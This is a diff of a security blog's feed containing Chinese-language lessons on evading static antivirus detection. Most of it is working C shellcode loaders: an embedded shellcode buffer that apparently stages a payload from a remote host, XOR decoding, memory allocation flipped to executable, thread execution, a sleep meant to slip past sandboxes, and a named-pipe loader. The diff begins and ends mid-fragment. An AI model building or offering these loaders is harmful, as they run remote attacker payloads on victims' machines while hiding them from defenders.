a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 获取shellcode大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>shellcode_size <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(buf); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/* 增加异或代码 */</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>shellcode_size; i<span style="color:#f92672">++</span>){ +</span></span><span style="display:flex;"><span> buf[i] <span style="color:#f92672">^=</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span><span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">VirtualAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> NULL, // 基址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 800, // 大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> MEM_COMMIT, // 内存页状态 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PAGE_EXECUTE_READWRITE // 可读可写可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> shellcode <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#a6e22e">VirtualAlloc</span>( +</span></span><span style="display:flex;"><span> NULL, +</span></span><span style="display:flex;"><span> shellcode_size, +</span></span><span style="display:flex;"><span> MEM_COMMIT, +</span></span><span style="display:flex;"><span> PAGE_READWRITE <span style="color:#75715e">// 只申请可读可写 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将shellcode复制到可读可写的内存页中 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">CopyMemory</span>(shellcode,buf,shellcode_size); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 这里开始更改它的属性为可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">VirtualProtect</span>(shellcode,shellcode_size,PAGE_EXECUTE,<span style="color:#f92672">&amp;</span>dwOldProtect); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 等待几秒,兴许可以跳过某些沙盒呢? +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">2000</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)shellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); <span style="color:#75715e">// 一直等待线程执行结束 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/79c7e6cc-4f5f-11ec-83aa-00d861bf4abb.png" alt="2019-11-10-02-05-37"> + +</p>静态恶意代码逃逸(第二课)https://payloads.online/archivers/2019-11-10/2/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/2/<h2 id="0x01-关于windows操作系统内存">0x01 关于Windows操作系统内存</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>这里还是稍微展开介绍一下,Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。</p> <p>操作系统给予每个进程申请内存的权力,使用不同的API,申请的内存具有不同的涵义。</p> @@ -1754,7 +3406,57 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46 -</span></code></pr静态恶意代码逃逸(第五课)https://payloads.online/archivers/2019-11-10/5/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/5/<h2 id="0x01-真正意义上的分离">0x01 真正意义上的分离</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 入口函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc,TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> shellcode_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#75715e">// shellcode长度 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwThreadId; <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; <span style="color:#75715e">// 线程句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">/* length: 800 bytes */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> buf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x60\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x50\x45\x4f\x78\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x4e\x4c\x4e\x4c\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 获取shellcode大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>shellcode_size <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(buf); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">VirtualAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> NULL, // 基址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 800, // 大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> MEM_COMMIT, // 内存页状态 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PAGE_EXECUTE_READWRITE // 可读可写可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> shellcode <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#a6e22e">VirtualAlloc</span>( +</span></span><span style="display:flex;"><span> NULL, +</span></span><span style="display:flex;"><span> shellcode_size, +</span></span><span style="display:flex;"><span> MEM_COMMIT, +</span></span><span style="display:flex;"><span> PAGE_EXECUTE_READWRITE +</span></span><span style="display:flex;"><span> ); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将shellcode复制到可执行的内存页中 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">CopyMemory</span>(shellcode,buf,shellcode_size); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)shellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); <span style="color:#75715e">// 一直等待线程执行结束 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>编译成功后,运行:</p>静态恶意代码逃逸(第五课)https://payloads.online/archivers/2019-11-10/5/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/5/<h2 id="0x01-真正意义上的分离">0x01 真正意义上的分离</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>将上一课的代码分离开编译,然后通过管道传输,让进程通信。</p> <p> @@ -1832,18 +3534,88 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66 -</span></code></pr静态恶意代码逃逸(第四课)https://payloads.online/archivers/2019-11-10/4/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/4/<h2 id="0x01-分离免杀">0x01 分离免杀</h2> -<p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> -<p>分离免杀:将恶意代码放置在程序本身之外的一种加载方式。</p> -<p>前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开</p> -<h2 id="0x02-管道">0x02 管道</h2> -<p>何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。</p> -<p>通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。</p> -<p>先展开本地管道来讲解:</p> -<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> -<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> -<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 -</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;intrin.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define BUFF_SIZE 1024 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>PTCHAR ptsPipeName <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\\\</span><span style="color:#e6db74">.</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">pipe</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">BadCodeTest&#34;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc, TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> HANDLE hPipe; +</span></span><span style="display:flex;"><span> DWORD dwError; +</span></span><span style="display:flex;"><span> CHAR szBuffer[BUFF_SIZE]; +</span></span><span style="display:flex;"><span> DWORD dwLen; +</span></span><span style="display:flex;"><span> PCHAR pszShellcode <span style="color:#f92672">=</span> NULL; +</span></span><span style="display:flex;"><span> DWORD dwOldProtect; <span style="color:#75715e">// 内存页属性 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; +</span></span><span style="display:flex;"><span> DWORD dwThreadId; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hPipe <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateNamedPipe</span>( +</span></span><span style="display:flex;"><span> ptsPipeName, +</span></span><span style="display:flex;"><span> PIPE_ACCESS_INBOUND, +</span></span><span style="display:flex;"><span> PIPE_TYPE_BYTE<span style="color:#f92672">|</span> PIPE_WAIT, +</span></span><span style="display:flex;"><span> PIPE_UNLIMITED_INSTANCES, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hPipe <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> dwError <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[-]Create Pipe Error : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwError); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> dwError; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ConnectNamedPipe</span>(hPipe,NULL) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Client Connected...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ReadFile</span>(hPipe,szBuffer,BUFF_SIZE,<span style="color:#f92672">&amp;</span>dwLen,NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Get DATA Length : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwLen); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请内存页 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> pszShellcode <span style="color:#f92672">=</span> (PCHAR)<span style="color:#a6e22e">VirtualAlloc</span>(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 拷贝内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(pszShellcode,szBuffer,dwLen); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(DWORD i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span> dwLen; i<span style="color:#f92672">++</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">50</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_InterlockedXor8</span>(pszShellcode<span style="color:#f92672">+</span>i,<span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 这里开始更改它的属性为可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">VirtualProtect</span>(pszShellcode,dwLen,PAGE_EXECUTE,<span style="color:#f92672">&amp;</span>dwOldProtect); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 执行Shellcode +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)pszShellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p><strong>BadCodePipeClient</strong></p>静态恶意代码逃逸(第四课)https://payloads.online/archivers/2019-11-10/4/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/4/<h2 id="0x01-分离免杀">0x01 分离免杀</h2> +<p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> +<p>分离免杀:将恶意代码放置在程序本身之外的一种加载方式。</p> +<p>前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开</p> +<h2 id="0x02-管道">0x02 管道</h2> +<p>何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。</p> +<p>通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。</p> +<p>先展开本地管道来讲解:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 @@ -1935,7 +3707,104 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">91 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">93 -</span></code></prDllMain与rundll32详解https://payloads.online/archivers/2019-10-02/1/Wed, 02 Oct 2019 00:00:00 +0000https://payloads.online/archivers/2019-10-02/1/<h2 id="0x00-dllmain">0x00 DllMain</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;intrin.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define BUFF_SIZE 1024 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">char</span> buf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span 